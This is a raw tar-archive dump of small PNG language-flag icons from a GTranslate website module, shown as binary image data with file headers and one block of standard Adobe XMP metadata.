IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FIDATxڤ�OHTQ���{��fd*�PIB)���0�F�hAVn\�BS��#[F�g״�0��L��(��L]YB:3�q�}o޻-�0�P����Ź�;�s8G(�؊`������O�^_��/�;-U:Cs��'�����D�]ϣyO����h�JRkfݏ�&�D��u@s���e�2Ɏ'��`j��'
��cM
��].!�
M�9��̐�,W�*l�]3Ǜ�˼�]��BGg%#�v`����$%3d\�#�R�,��Q�drF�}��46}p��y����$s�~J���"���tH�V���v�����d;�����	�E@rMR�7��|>��;
'��`�j9�㝼��풜P��UT�R6,Z 6V�ltt`��	>}�	A�j.��JY�a�����B����>(�n�g�fZCe�y
i������0*+��&���Ht#���m���^W�Ic=\8���ώ2�6��������@�&o����7c����b��k���?I��IEND�B`�mod_gtranslate/tmpl/lang/16/haw.png000060400000000766150746170550013176 0ustar00�PNG


IHDR�asRGB���gAMA���a	pHYsbb����tEXtSoftwarepaint.net 4.0.12Ck�fIDAT8O�ҹK�q��/�/��F�Dt��mQ�`KECfJ��*�`$V�PaY��A��}g��4G��~����G���yó=����z��u�'��N��DhH��fOu6�μ7��ܩ;dBxӦ��.4&/|lR3k���BP뜨��*��A���غ/#'f�,A^gFD��8wqV#�>b��
�#ϝE�ګM1&ES;3�1���D:�V��P�#��rU�)�;GaF$�۫�'��n[B�'���,�X�('��^}Q�~k�P)��EU�݇(%��G��jS=�\dU�n�}P�0���fu�q��4���r)F�Hb����D�h�������@��`���1JrIEND�B`�mod_gtranslate/tmpl/lang/16/mg.png000060400000000574150746170550013017 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FIDATxڤ�1N1E�e�� @�&7@��KP�i8
��:H�D��=� ������|=�g�(a)�V�6��"�Y}����0���`�+V�g����F�9cxzY����	Ҷ��Ѻ�I�EypZ��x����R�ے�����.�&���}�;���%�Z�3%IE@H��APX����5��ԟ�����*!8�>�@�4�|���8+`L��-o�xQ�$V�D(^�z��
�l�a;�.IEND�B`�mod_gtranslate/tmpl/lang/16/gd.png000060400000001354150746170550013003 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FrIDATxڤ�MHTFϛy�8NI�h�)�iSF�Ҭ̅$a+�M�&�A��JQ��ڄ�@BlQV���RDLK���Ѵ����{�Ȭ�ⷹ��ͽG��+s-рe����NS���P�,�m�t͠� �sGs���(����]C3_�])t���o]u��&V�ܛ9��w�g�;Ey)[-��ʽ��y�H�d�V|�c/c/K~�ʢ���'�S\n���a��9N����瑟�T>
�1L�Z��T��_�F&�*@X��i�<�0��Rsb�YNn�ك�(+�^j�2>�Hr�-���!>�(,#�O.2�e�d$:���hx�����6�#&���!"��id���\���D�D�M��h�����M�}]��B�}a�N����bW2����uQV������It��;
�r�`(�z�l[I�\oM7DD���Yɭj[y���[$�l����0�����Jȶκ���8]�բp��'��z��g�&&FeaY���$�QlK�ؕL��H���;
����?4=�a��(����a��I�-Tێ=F��vg(@<�lX�>`Z�+"Y�0MY�ο]0Ƶ�pIEND�B`�mod_gtranslate/tmpl/lang/16/mi.png000060400000001157150746170550013017 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��kTQ�s�{/���I�
��+���J! X��]D� (A�V�KAP���i��P�"���"���o�ew�Y6
���s83s���M�ݺ�0��\������m�������q�l2~� 7��&�P����O싀�W2���"�
��Ϝ=Z��c,�
##ٟ�����O����䯿��Y}�R�F�Pd����k'�<xӤ\.��8L�=������$�ϱcc͋�u��A��k�����`t��������!���*kp�������>���ĩA�,�{_84<<�j�&M[=��n�|�Y��0P.�第L���&�*�ǘ�q)��G�$� �����mo��!��q!�@��<N"tpX�q��u��i<(A� �T!VEܻ4�(�m����1��>O��Jor6%I4�y�1=�#Mk�ծ
�в-g�*�g�^���]#�8��n�k����msIEND�B`�mod_gtranslate/tmpl/lang/16/mn.png000060400000001042150746170550013015 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��n1����.��Ҥ��CBB��)R�<y	�I(x
D���" ����;�k���.Ju�4�4��|�?��\�(���`i���ѳ3t�^�����J^�<�B8|��M�ѣ�Nɾ!ܝ�1�������+�?�L,`tA��	�,?V�
j���]fs�6#��){��)v�C�j�b���6�ȋE?8cH�`��%���g���_P���P H"�/���z�|����#;K䆒����(7Y|��i_L��M1�+rT�%T+(J�MBEs����B������R���[J�#�'�YV`�X�!6���5�c48d���(���*�0��)w��v���hK.q����BH����S�ٗO�V�,��7r`8v�܅
�	`�E2[��o�~����$IEND�B`�mod_gtranslate/tmpl/lang/16/tr.png000060400000001077150746170550013040 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��nQE��vmb��E
.RB���J��A� (�"StnSD�RD���#��`�N�(�c������]� a�6S͝{g�(�>P@�˺,05�jgg ֢��8?2@�������9$�QƠ<�/���v:5h�2�Ʉ�p�����l�}�n�hP�7EH�h��=���M}w���|6C]_㮮����`�<\�`�$����=FLQ��V���;;c����,Iq�azt���A���xI���W�3��I��� �zA��1��(Eus�I���ߴ@�ѻ�y�8Gbm���0|^�~CPD�^���!M������
<�ch-���}� MAƭw�><}B���./Q�����秅�Z�ZE�!���y|����<'--��E8��i��j�+�
X�@��/|z�\dP�e0���;�Z�u��!EIEND�B`�mod_gtranslate/tmpl/lang/16/ky.png000060400000001015150746170550013026 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��nT1���e/�)ВG@y
ލW���@�"5(�H���e�}|�8G�Rn2�-��Ͽ�3���%�~�'`���7o����8`�93<y��itǧ�n�_�&���Z�g�N� ������ڠk���Д��1R��� �}T�&ܳ�B�6�<��b-9F@~6�,��_G�Q��0 �=P�'���!���&�- �5��sʢ�0�B�a!�x����`k������j��b(�2Q4)��P6
��6Q7e�!"�w��ϖ�ӌ��@�[�|���Jj�]�'4uD�A{a�ލ�/2��2�^
�Jhv�c���Sx�?��o@��=R���dU���4c#�!p��3y\
`�A�{2��]����ĵ�MB�IEND�B`�mod_gtranslate/tmpl/lang/16/xh.png000060400000001130150746170550013020 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ�=hSQ��s�Isc�`�M�FD	-�����䨂��T�Bu����Ppm;� H�J����n
:u�j#ި`cn��qH�bc �]��=���W(�؍0D;o?r�_��9YA�#��
e��"@��$�{�4-��S>���X
83;��5
��dz�h�}0(=��&������
��!���<^Cඇ���J���0<9�/]��哪Rx8-rG�e%�Z�bQ�b���M�,��i.�o`�u�����nWJ�T�WX��d2���T�Un΅(G$K��ËG���d3+l���q]g��X,4z�����#�H�+3��B1� `lb���s]ᰤV��}.���|14W@(���)�'/q��{�5)�@�im;�kE��P��	�%/ro���L]]ح���W�^�ܟg�v�;K�x~��5l��w@b}v���w���	�G����#�S�IEND�B`�mod_gtranslate/tmpl/lang/16/eo.png000060400000000444150746170550013013 0ustar00�PNG


IHDR�asRGB���gAMA���a	pHYs``�lrYtEXtSoftwarepaint.net 4.0.12Ck��IDAT8Oc���?E� )D��������_�~�a&��0T�9����#�M�n.�/�P��F��7�� ݀�_��w��?�P:�K��~}����B����Xo��	���a���`���`���`���`���``�Q��
���
��3��CAYI��IEND�B`�mod_gtranslate/tmpl/lang/16/az.png000060400000000730150746170550013020 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F^IDATxڤ��JC1��	Z[[���n�>�
�/��$���O �� 8����(�������7���7�M��Z=2$�9'��{�}�`s��J`hi���/կ���$���3?7�}�n�^���S�j>KQ�]��$12<@l�BhS
5�PwՄ)���g�2r��H�������T��V|g�[@)E��CC���m*7��ɯ,S��j?-�C	�PQ���k���=�����ˎ3o-*�Z��L���� 5k����@F��!�[��
�&�	J�Kvm8��J�M��!�=})�U
�{bcZ�YG���/���0�z$��S�� ��	�;�_�R��A�IEND�B`�mod_gtranslate/tmpl/lang/16/hi.png000060400000000657150746170550013016 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F5IDATxڤ��J�@��lդ�*A+�QГţg�I<�0^���*��k[��&���Z�*�,���|��̎����}X`��Z��}�׷��w5P����5+!�4*�ĥ��Ϣ�L%:�R�����Yj(�_H�_H�S%��L���(j��_p�S۠��p�\��qL'��,A�C���˅��	���1# I�_2��{�ߢ�y?1���rX%���I?��^'�F��Aġ�E��D6�J�X�ByԔ�]@0�N��^�u��hP���E�x��%	r�����ثy�qDIEND�B`�mod_gtranslate/tmpl/lang/16/hr.png000060400000001051150746170550013014 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��nA��{>|�C�AE��(h(H)H��
"!!�
�C��������
��"�PX����ql�o��
'��t&_�v��vf5�D��@!�:�Y�A�|�PףR,Lj�D�"�J1Q��8,��M�x•��[�͈��cԪ
2�y��p���~�
��x��v��I�]}L���8:�w;�\桅�g|`0W��cL����{=���4ȡ3 
C����`Z�1xk�V��4�2�8�ΣU���8�h�4`Iؒ��2�|����[�,�hNs4@v.���nr��W����Ӝ`���R��h\6�6yy����jc��{
����&g6˨�Uz��^��6�����-W�#̅�f*m����Ъb�+�HN?��*8���܌�}���"�
<��E��J7�;��IEND�B`�mod_gtranslate/tmpl/lang/16/es.png000060400000000755150746170550013024 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FsIDATxڤ�MK[A����&i��`��?Ђ��J�u��	� \�х+A�(�E%~��ܙ�wf�ȍ����9s^�y8Gb��'��E.�h�=���7�T)�����V�9��_��Y F��1��Tt!�G���s>"�jm��2��;��-�;�]bz'4�9Z�+.*��A4��R��ir�m_�p���ho'4j2C��`���5)�ڀ���p���i��}�_����?��TP0&2*�E������ a��G���p`�����J�ج�mӒ�Θ�j,��s�cL�$0�1H}�hN�zL�j��>c�2b5@�m�C�:�(�|��G�L��8�z@�d��@��J
x��{��J�=�3#�IEND�B`�mod_gtranslate/tmpl/lang/16/zh-TW.png000060400000000715150746170550013362 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FSIDATxڤ��NBA����@!�H����X�&��>�VV�hb��X��D"
�KĜ���k
4��m��柙��3K0��i���o���S���K(��B '����%<P�}�UL���+v�t-��G_��!X�X-���.!"���(ױ��^�2�9XZD��{ci�"�I���4��j���Jk
@E�����%���ܽEI�3%f#5�UT����x�Q��O�,��w:���eM�#�87*�yb���PF���H��t�<�4Q��ɤ'x�6�L�=���ԫ`�+�”�?�g��"S�Ȭ�=%
��X�QIEND�B`�mod_gtranslate/tmpl/lang/16/kk.png000060400000001131150746170550013007 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��nQ��s��ٍm�@솋��
������(yZz:j$
�DAJ)�,%1$��ػ���=Ca�"���iF�4��%"\E
X�gu9`d�ꋷ��V{>�����E���_�?ڱ@$Rpk{�������B���YXY�/'�� 5t�ٍ�c{��<�}Nj���~��3����r`,��1Y6�7���Nx�����oL\��S�<��
�l���Ş �����#JƑ�	� ]�N�I?�h�!d�S7Dt��~�oS���(wx����\4oujQ���:��:ձ"�&s@��Y��s:u*A�YR���gh<�`"t�x��{K�.T(������;�q����oFY��'{�€���S��8GW

��C��j�[�\H.�Px�4M�5l�BV�����VI�Z��M�n�L��6���K]w��P�@y�,���,HfI@8u�8�E�ݕ�	IEND�B`�mod_gtranslate/tmpl/lang/16/hu.png000060400000000561150746170550013024 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ�1N1E��fQ���hR��E����kqjN��R���w=���&��������i�1��12@	�m�	�������g/���t�9��MC6U%��T�*q�b��޿=�ǘ����D�������z�FQX���^s�W`^�i�=@۶����<=b/&�J�d��	C��B�1bW��Є�tB�JiO��*��6@4F�|F1����5�0����1ǎ������`|.�IEND�B`�mod_gtranslate/tmpl/lang/16/af.png000060400000001130150746170550012767 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ�=hSQ��s�Isc�`�M�FD	-�����䨂��T�Bu����Ppm;� H�J����n
:u�j#ި`cn��qH�bc �]��=���W(�؍0D;o?r�_��9YA�#��
e��"@��$�{�4-��S>���X
83;��5
��dz�h�}0(=��&������
��!���<^Cඇ���J���0<9�/]��哪Rx8-rG�e%�Z�bQ�b���M�,��i.�o`�u�����nWJ�T�WX��d2���T�Un΅(G$K��ËG���d3+l���q]g��X,4z�����#�H�+3��B1� `lb���s]ᰤV��}.���|14W@(���)�'/q��{�5)�@�im;�kE��P��	�%/ro���L]]ح���W�^�ܟg�v�;K�x~��5l��w@b}v���w���	�G����#�S�IEND�B`�mod_gtranslate/tmpl/lang/16/et.png000060400000000574150746170550013024 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FIDATxڤ�1N�0E��]�@��
m�-8Ǡ��(Ԝ�#����&�K��^'CA²E��˖��o�G��Hg�z\��������Ϗw�V� ��\͋�@���J�.u���eA�w����9� �p�cǶ�RDя@�/l�k-����.eYFUU{@۶�e��vV�4MI�d�a�Y�}��7�Y*c��hJ�T�'p�-L
�EQ��R��Xh����/�W����B�QIEND�B`�mod_gtranslate/tmpl/lang/16/ur.png000060400000001130150746170550013027 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ�=kQ��;_�뺉Q���� Q;B���X���@���F�+A������F��v����7Y���uם��3�Z��2+�	y�{8����=Bk�n$؛՝H=��Z7F���.�V ��>�}�Z@9?�;z�!�U)0͜e�F�}Y([���o}�[X�V�����R)�
�q���4�4�^����-��-b[6�v���.��?��4����Y3Mʕ}�=~�O�?���QH?
iu��q��1�R	�o�5#܃UܙC��[l�k`:�yv%`jj?����AEcJ+�Pl4~R,��x�KQa�@��ZE9�l�?6�r��}n\�ά{��+ϩ�*�)y�C���1z�7ߢ֪su�2'�ͱ���/2�"�8��H�]��a�V,�z���'�D�18�R���$	���mt��1rIԙC!�x"���@e���j"K��w"���b��gK��ת՝�IEND�B`�mod_gtranslate/tmpl/lang/16/pa.png000060400000000657150746170550013016 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F5IDATxڤ��J�@��lդ�*A+�QГţg�I<�0^���*��k[��&���Z�*�,���|��̎����}X`��Z��}�׷��w5P����5+!�4*�ĥ��Ϣ�L%:�R�����Yj(�_H�_H�S%��L���(j��_p�S۠��p�\��qL'��,A�C���˅��	���1# I�_2��{�ߢ�y?1���rX%���I?��^'�F��Aġ�E��D6�J�X�ByԔ�]@0�N��^�u��hP���E�x��%	r�����ثy�qDIEND�B`�mod_gtranslate/tmpl/lang/16/cy.png000060400000001274150746170550013025 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FBIDATxڤ��KTq������f"�m)P*�U�YTX�� A�v�kQ��A	�����
�� (5�4g��ll���{�νsZd�F|6gq��JD�


�s3x�e	��&�D#@D@�iH��Ҵ�וj2��u���[™��:�%>Џq MP�P~��uz4L(��4@)�������YV��B�����9rWoR[^D�h�=��N
ÏI�=�kn~{.C�~b�����cQV�bMDJ�!~�(�[��E"4/�Q&q\���Q\�feh��q���
����x�ch�F<���;��_/��|���v���ҷ�&�@ܫa%��?�b��a�JE&.�����z�.��KؚB�dZv2��uk��pc �����%��e����*G�A�^��odZb|jo a�\�L��x��F�)Lg�L`8Ne#�HeK>�`EM^t'iλ�)2�����)����3Y ��b�5����A�ʙ�mIP�5BA�@W�4
%�Q������.�.�)]{�a����
%B�?ފ�om<$�V`�&���Ժ��?Fn���V�k�`����iIEND�B`�mod_gtranslate/tmpl/lang/16/sv.png000060400000000730150746170550013036 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F^IDATxڤ��J�P���z#J�7��[�}ׅ�\���Q|��m#b���K��4�EIZ+�t6s��f��Zk����ћ�&pO�����g�ο��'M	T�$��{�V�l��.�,@kxxT%`G�f�G�a�|�p��!n��X�@)��T1�*�7̂G3��t�(�2g^��\n�z��S;��G��t$����uf�	>�ɚ��(hw�ص&�0F��)܋>KRq$�\b�-��,�I���M�NҜ��8ZS���1_��V�DkT��d>g��?�d��Y�ҷ�7��1�)���!�Pb�s�sτ�8�IEND�B`�mod_gtranslate/tmpl/lang/16/it.png000060400000000670150746170550013025 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F>IDATxڤ�=N�@���m@
$�"MJ:��U4��C�$�Fğ(Bbg��Xqv�(#�vF�}�f�61l�Ž�Y�'�gwW_�7�������B�������W~�u|TPV��h�@�|FbSF:iȆ/?8�G�B�=%��F�eむ�hBm4#���~*~<)�M	0ӆ'�$�i#�<\��N��RZ�6^|#��2�3����&jG�U�ZP.�8;g�zD<�P����ZA[[20ֲ�͇R/�(��1�l���3~��<��u�]+gt�>���.$���b��5r��M�w�ܓ�hL�IEND�B`�mod_gtranslate/tmpl/lang/16/sq.png000060400000001027150746170550013031 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��nA����;�8;)(��i �
��*

oH�3��DA	��"+gǾ�۝��LG���V����o��x����X��pxq��>�/>}|��Jar����'��_@dw��gm�
�Z�WK���Q
��ϼg�Sw�r����:Ԍ��N���9�TyQ�|hf�xO������j	�5E��_s�"_�`f,|`�&�XP�v�ۀ~��>?Ǻ��?7��]�1�5s.��i�T���޻��a�L���J�5P�u�<u��@M�<�'��U��2��^��x��Dh�HfȐ��!����"D��dJ@8�b��zBz3D3�O{C�)B� u���%�U������ȇ��3����ry�����Ѽ.d$��'�?U�$]��f��FV):YIEND�B`�mod_gtranslate/tmpl/lang/16/is.png000060400000000756150746170550013031 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FtIDATxڤ�M/Q���V�RB���� ��)������?��������/0��#��H�h�����kњV[��orss>r�{�{�e��X@�ܭ@�6н�u�Z9���ym���c�����pv��o� 0,��
&f���h�l�� e��||J�^!����~��:��$)!���,��%^^FI:���!bHY��1�M=2+�?��o�1�j1C:�Q�܌N6��X:MNĪ\�m�p=2�/�u��V��|��*\��$�w��qB�Vf �E�6X��rY�j�Gk�,��R$�!U����<�"��A)PFk���(�q�w�痿�8[@70t��y��De�D�B@Y�����/{�wIEND�B`�mod_gtranslate/tmpl/lang/16/gl.png000060400000007611150746170550013015 0ustar00�PNG


IHDR�atEXtSoftwareAdobe ImageReadyq�e<
@iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.2.2-c063 53.352624, 2008/07/30-18:12:18        ">
 <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
  <rdf:Description rdf:about=""
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/"
    xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
    xmlns:Iptc4xmpCore="http://iptc.org/std/Iptc4xmpCore/1.0/xmlns/"
   xmpRights:Marked="False"
   xmpRights:WebStatement=""
   photoshop:AuthorsPosition="">
   <dc:rights>
    <rdf:Alt>
     <rdf:li xml:lang="x-default"/>
    </rdf:Alt>
   </dc:rights>
   <dc:creator>
    <rdf:Seq>
     <rdf:li/>
    </rdf:Seq>
   </dc:creator>
   <dc:title>
    <rdf:Alt>
     <rdf:li xml:lang="x-default"/>
    </rdf:Alt>
   </dc:title>
   <xmpRights:UsageTerms>
    <rdf:Alt>
     <rdf:li xml:lang="x-default"/>
    </rdf:Alt>
   </xmpRights:UsageTerms>
   <Iptc4xmpCore:CreatorContactInfo
    Iptc4xmpCore:CiAdrExtadr=""
    Iptc4xmpCore:CiAdrCity=""
    Iptc4xmpCore:CiAdrRegion=""
    Iptc4xmpCore:CiAdrPcode=""
    Iptc4xmpCore:CiAdrCtry=""
    Iptc4xmpCore:CiTelWork=""
    Iptc4xmpCore:CiEmailWork=""
    Iptc4xmpCore:CiUrlWork=""/>
  </rdf:Description>
 </rdf:RDF>
</x:xmpmeta>
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                           
<?xpacket end="w"?>�
���IDATxڤSAHA}�;Ik1!D"��lZ�R�E��x*ބ^z+�փ��{,�Ph�k{��""(��jD�RIl�(Yuͮ�N�3i)��3;3�͟y�%�n��#t�6%��OˣϛF��x��xW���%�U�m�\�����n�����]�:��8��~���y�Ӌ��m�&#d���n��ރ"+�f��\�ճE���y����F��0R��
���Iq�F���� �m�J��܄�����͆�/�P\�!\��$�
��+���Z(�p8\�ܵ�~�
~E�.�mq�F�1xc�i"�$<I�q�:��y�o=D�&�_6���`:��y��8�"&GU�~���V��V����V�px��v���X�y����ϗ~`�Ȇ~�����UƙL��'.{�>`�Y���'��*2(q�iZ]�o�tƹSE�s�5�p�s47X�� '��BR�"{��[�6D؏��IEND�B`�mod_gtranslate/tmpl/lang/16/pt.png000060400000001117150746170550013031 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ�MkSA���s�kr�FI�*ADE� �t#�nąȟaq��n\�r!�t#�� *�U�QSo�&͝;�.M
fz`8��"��~Je`a|�S�@������:!�!p�뙝�y��!V��i�@����	�D!�����~�
�ƀ4�2�9]5��@+��
_z���=��^kdPXMV�m��n�Zw���N%,���B�gl���B�c4���;���&\����'�u�=M%`����	@����NV�@{=A^���Uh��%?�d#�mO"�*��ʔ5B�*S!_�s��#l9%>�E��$�cQy>��j��[MN�n���q��Ý�I�@8�S{0�B�
�����
7���&E9���uJP &'��Rj�@k��8ˆ����ҳO����?�u��`��l$�}�U�7ۉ�!�Zu������&9���-��?c��}�
;IEND�B`�mod_gtranslate/tmpl/lang/16/en-us.png000060400000000750150746170550013437 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FnIDATxڤ�?HBQ�/eXj68d8%AFQCYѠD�V��ڠ8�F�����`T�[j�M:$�̐�"�<�^����w���I�$�@_�zT�e��������{:�v��a��&���[�P(���"�{�0��_�Fd��L�����y���y�^7�X�o��ݶ�����2���4��+�$y��f۸sӼ^��A��NO�k��d�ޞ��e|�=���g��yw\���}_
�5�a'U*8�v���D2�l�P�R�r���<���Ð�e����+UU�J�s��&D��w���C���ځ�(�(��LP+O.��[j`�@���7�(�F�:
�@M�o�#�u�N��IEND�B`�mod_gtranslate/tmpl/lang/16/sm.png000060400000000754150746170550013033 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FrIDATxڤ�MK[A���Hj�F�غlk�T\�H[7���ۺ҅�Z�"P��j@��"�RP��7�ܙ;w^WL���nf1�<�s��D�iFu���9�x``����;h���~�o�OP����6�H����bo��fC!�7�v{��}~��(m�"jL��~�Z�8_}���"�������sD����QrO�Yx��9��!������1���R@LR�=��W�[���ԓ�������i)VA�%("Qi��|��z�^{w�1M+ů
RkXk���p��X	 y �Ȃf�Z
��*�2��y�[��� 
��y��<�z�@"Ώ,�B�v�{H��%`n��}��m�̄��j�:���8�cLMIEND�B`�mod_gtranslate/tmpl/lang/16/ta.png000060400000000657150746170550013022 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F5IDATxڤ��J�@��lդ�*A+�QГţg�I<�0^���*��k[��&���Z�*�,���|��̎����}X`��Z��}�׷��w5P����5+!�4*�ĥ��Ϣ�L%:�R�����Yj(�_H�_H�S%��L���(j��_p�S۠��p�\��qL'��,A�C���˅��	���1# I�_2��{�ߢ�y?1���rX%���I?��^'�F��Aġ�E��D6�J�X�ByԔ�]@0�N��^�u��hP���E�x��%	r�����ثy�qDIEND�B`�mod_gtranslate/tmpl/lang/16/ps.png000060400000001026150746170550013027 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ���A�����ݽ�	�}aA0�W0���.��70R0#�A�Dvfg����2���VM�+(:�����U�6!�N���&��|��o�5��2����!�}��n
L��c6��9�xt﬷,(ʧ�/�H����kV�Ut����
�~����n���9ʲ�,�X�p�8�kK�L�v$G8�;��a�\RU�ҝMI�)EMFi�P�ƹ}�b����X4~�9=E7[�k��z�"?!�ɵk-m�B������zK��
-�i�Z�$!�o�\\�>y���	/F�
���9G��H,J��y��ca�B���x�1�`��1���@PL�
U�n�WU����l8F��/�;��}`z�.��I�HɁ��r�u�=ڸΞ����IEND�B`�mod_gtranslate/tmpl/lang/16/ms.png000060400000000775150746170550013036 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ�]+Q��NZ���ؼ���D�(��|�T|>_B)�Pn$�dC\#��I��^o���i�8.,����S����9�)%����Pa��p��ޡY�!fR�:\Z~�N��L��|�P��(W�`M�
���o��$B4���NGЦ�~�A�����RB���-@0>߁�?�Y��(�q?	�S^�l���mơ�|>@��F]���r�uAQP�1F�,WA�8��dW�A��:?��*�i�l�cv-r2��j-H�������,�4߫�9*� �w��}8�)��� n��*�0$WRͭ����~�|��@�����4��g]��rf{��BN�{,�)�
A�y4p���o����v,/IEND�B`�mod_gtranslate/tmpl/lang/16/th.png000060400000000544150746170550013024 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��NQ����� \)�\Kc,�|*Χ��E���
,�q]�ݽaֵ��.��Lq��3�p
��c
"���>{�t�~��<u�Uw�	M��`$@ff�N�\�T5��p����'/j�^ED��J�!���(˒�Jɋ���~<�Db+PU��=����~�,�`�!���R�p����'	,��%F5�-��b�(���q"����O���w��������IEND�B`�mod_gtranslate/tmpl/lang/16/yi.png000060400000000724150746170550013032 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FZIDATxڤ��NA���<��\�
j����h�o����/�3�>�	���P�P�`c�CD/��X�8�����̟��Y��f ,��4���d��o3ub�RGw�nY�e��T����]����8m/R;�m������Rz�զ.V�sJ)
�)%�i�4���GT�C�}����Y+��R��ӳ��W���m��s�~t"�Q���v#�Z���y ��Z����Ұf���m;��׏�R]J����m�3�;�ƴ��`�s�c��B�y	%��Ǣ�$���G����7�x�\.?ϲ��|~C ��䷁��oSb�US ���;���ں����IEND�B`�mod_gtranslate/tmpl/lang/16/sd.png000060400000001130150746170550013007 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ�=kQ��;_�뺉Q���� Q;B���X���@���F�+A������F��v����7Y���uם��3�Z��2+�	y�{8����=Bk�n$؛՝H=��Z7F���.�V ��>�}�Z@9?�;z�!�U)0͜e�F�}Y([���o}�[X�V�����R)�
�q���4�4�^����-��-b[6�v���.��?��4����Y3Mʕ}�=~�O�?���QH?
iu��q��1�R	�o�5#܃UܙC��[l�k`:�yv%`jj?����AEcJ+�Pl4~R,��x�KQa�@��ZE9�l�?6�r��}n\�ά{��+ϩ�*�)y�C���1z�7ߢ֪su�2'�ͱ���/2�"�8��H�]��a�V,�z���'�D�18�R���$	���mt��1rIԙC!�x"���@e���j"K��w"���b��gK��ת՝�IEND�B`�mod_gtranslate/tmpl/lang/16/mt.png000060400000000632150746170550013027 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F IDATxڤ��J1EO��PZ�**��Ŀ��_��?�U[�*�Z�$�d|�Z�ݪ����\2JDؤ���w��"2+&S�������J�����vB�
0��D������.�zЂ�b$�@,}e �o>�Vzw)Km�<G��H12��8�_�iMt�'��L�s�)�[�st��F@9���ZY�խ%�Z�2iI��*����?
U�"�J�]�`��f�r��nt�9cB`45&�ӯ�Y`l�ys`��8$�& ^mz���ɀz��bIEND�B`�mod_gtranslate/tmpl/lang/16/mk.png000060400000001262150746170550013016 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F8IDATxڤ�;kQ��{���Y�1I��D�S�6�?��6�� F�
BD�4��P�)L��lR�����„Ͳ����ܹ3��`��iN����	��h�|�G��
[O�wR��F.�>H ���h����K����zM���D(ϥ��c��p�"p�s>�Ō�%z�����mH�Ęo-*7S�iI��P�R��+5ai=Ҹt|�)��m�F{d�����j�#�u�@M
�#�֒&���"m'(�`�����Oր޲�r�P�nɭ#z��ȑj�៶0���x�C6ɣ�#ny��92̐ԄO��3�x��V�v=xx��Ȱ]E�Kc�lWP�O�g-.��`���V���O+��=�P�� �<���nB�٣q��8�2��y��{xUA�=�HT�s�Q[�'�I�|��uƲ���{���=�pΑ��0�
�S��R���j	Y��zJ!�����v��`�0l�L�a��.?W|:/5��cq���~�(8�'��i(/v|
���	�rD"����#2��������X�&rIEND�B`�mod_gtranslate/tmpl/lang/16/ml.png000060400000000657150746170550013026 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F5IDATxڤ��J�@��lդ�*A+�QГţg�I<�0^���*��k[��&���Z�*�,���|��̎����}X`��Z��}�׷��w5P����5+!�4*�ĥ��Ϣ�L%:�R�����Yj(�_H�_H�S%��L���(j��_p�S۠��p�\��qL'��,A�C���˅��	���1# I�_2��{�ߢ�y?1���rX%���I?��^'�F��Aġ�E��D6�J�X�ByԔ�]@0�N��^�u��hP���E�x��%	r�����ثy�qDIEND�B`�mod_gtranslate/tmpl/lang/16/cs.png000060400000000754150746170550013021 0ustar00�PNG


